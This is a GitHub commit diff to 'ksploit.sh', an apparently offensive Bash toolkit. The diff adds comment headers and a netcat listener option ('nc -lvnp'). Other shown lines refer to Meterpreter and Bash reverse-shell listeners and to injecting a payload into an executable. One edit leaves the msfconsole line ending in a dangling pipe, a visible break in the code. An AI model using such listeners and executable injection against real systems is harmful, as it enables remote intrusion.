Skip to content

Commit 6bce020

Browse files
committed
Update ksploit.sh
Adds a simple netcat listener.
1 parent 3a2ed7b commit 6bce020

File tree

1 file changed

+39
-4
lines changed

1 file changed

+39
-4
lines changed

ksploit.sh

Lines changed: 39 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,8 @@ NC="${C}[0m"
4545
UNDERLINED="${C}[5m"
4646
ITALIC="${C}[3m"
4747

48+
###############################################
49+
# LOCAL ADAPTER ADDRESSES
4850
###############################################
4951
locals()
5052
{
@@ -66,11 +68,14 @@ locals()
6668
echo " | WLAN0: $WADDR"| sed 's/$/ /g'
6769
fi
6870

69-
# echo " | IPV4: $THISIP"| sed 's/$/ /g'
71+
# echo " | IPV4: $THISIP"| sed 's/$/ /g' ## Uncomment this if you want to show your ipv4 public ip address in dialogs
7072
echo " -------------------------------------"
7173
return
7274
}
7375

76+
###############################################
77+
# SHOW ERRORS
78+
###############################################
7479
errors()
7580
{
7681
if [ ! "${error}" = "" ]
@@ -82,6 +87,9 @@ errors()
8287
return
8388
}
8489

90+
###############################################
91+
# FILE CHOOSER
92+
###############################################
8593
pickfile()
8694
{
8795
local f="$exepath"
@@ -99,6 +107,10 @@ pickfile()
99107
return
100108
}
101109

110+
###############################################
111+
# EXIT 1
112+
###############################################
113+
102114
goodbye()
103115
{
104116
echo "${YELLOW} |${FGG} 👋${GREEN} Goodbye 👋 ${NC}${YELLOW}|"
@@ -107,6 +119,10 @@ goodbye()
107119
exit 0;
108120
}
109121

122+
###############################################
123+
# EXIT 0
124+
###############################################
125+
110126
badbye()
111127
{
112128
echo "${RED} |${FGR}💀${LG} FATAL ERROR!! 💀 ${NC}${RED}|"
@@ -595,12 +611,14 @@ listeners()
595611
echo " |---------------------------------------------|"
596612
echo " | 🐚${GREEN} 4 ${BLUE}Bash Reverse TCP listener. ${YELLOW}|"
597613
echo " |---------------------------------------------|"
614+
echo " | 🐱${GREEN} 5 ${BLUE}Netcat listener. ${YELLOW}|"
615+
echo " |---------------------------------------------|"
598616
echo " | 🚪${GREEN} q ${BLUE}Quit to the main menu. ${YELLOW}|"
599617
echo " |_____________________________________________${YELLOW}|${GREEN}"
600618
echo
601619
errors
602620
echo "${GREEN}"
603-
read -n1 -p " What do you want to do? Choose: [1,2,3,4,q] " opt
621+
read -n1 -p " What do you want to do? Choose: [1,2,3,4,5,q] " opt
604622
echo
605623
echo
606624
locals
@@ -645,7 +663,7 @@ listeners()
645663
sleep 1
646664
echo
647665
echo "${YELLOW} ---> Starting listener on LHOST $attackerip LPORT $attackerport."
648-
cat $wdir/meterpreter_linux.rc | xterm -e msfconsole -r $wdir/meterpreter_linux.rc
666+
cat $wdir/meterpreter_linux.rc |
649667
sleep 2
650668
goto listen;
651669
;;
@@ -692,6 +710,23 @@ listeners()
692710
sleep 2
693711
goto listen;
694712
;;
713+
5)
714+
echo
715+
touch $wdir/nclistener.sh
716+
echo " ${FGC} Crafting a Windows Meterpreter Reverse TCP Listener : ${NC}${YELLOW}"
717+
read -p ' Set Attacker Port* ' attackerport
718+
echo "sudo nc -lvnp $attackerport" >$wdir/nclistener.sh
719+
echo "${GREEN} ---> Saved to $wdir/nclistener.sh"
720+
echo "${GREEN} ---> Finished crafting listener."
721+
sleep 1
722+
echo
723+
echo "${YELLOW} ---> Starting listener on Port: $attackerport."
724+
chmod +x $wdir/nclistener.sh
725+
xterm -e /usr/bin/bash $wdir/nclistener.sh
726+
rm $wdir/nclistener.sh
727+
sleep 2
728+
goto listen;
729+
;;
695730
q)
696731
clear
697732
goto $start
@@ -840,7 +875,7 @@ malexe()
840875
echo ${LIGHT_CYAN}
841876
echo " Loaded: $exepath"
842877
else
843-
echo -e " ⚠️ ${FGC}Consider: (sudo apt-get install dialog) ${NC}${LIGHT_CYAN}"
878+
echo -e " ${FGC} ⚠️ Consider: (sudo apt-get install dialog) ${NC}${LIGHT_CYAN}"
844879
echo
845880
read -p ' Path to exe for injection*' exepath
846881
fi

0 commit comments

Comments
 (0)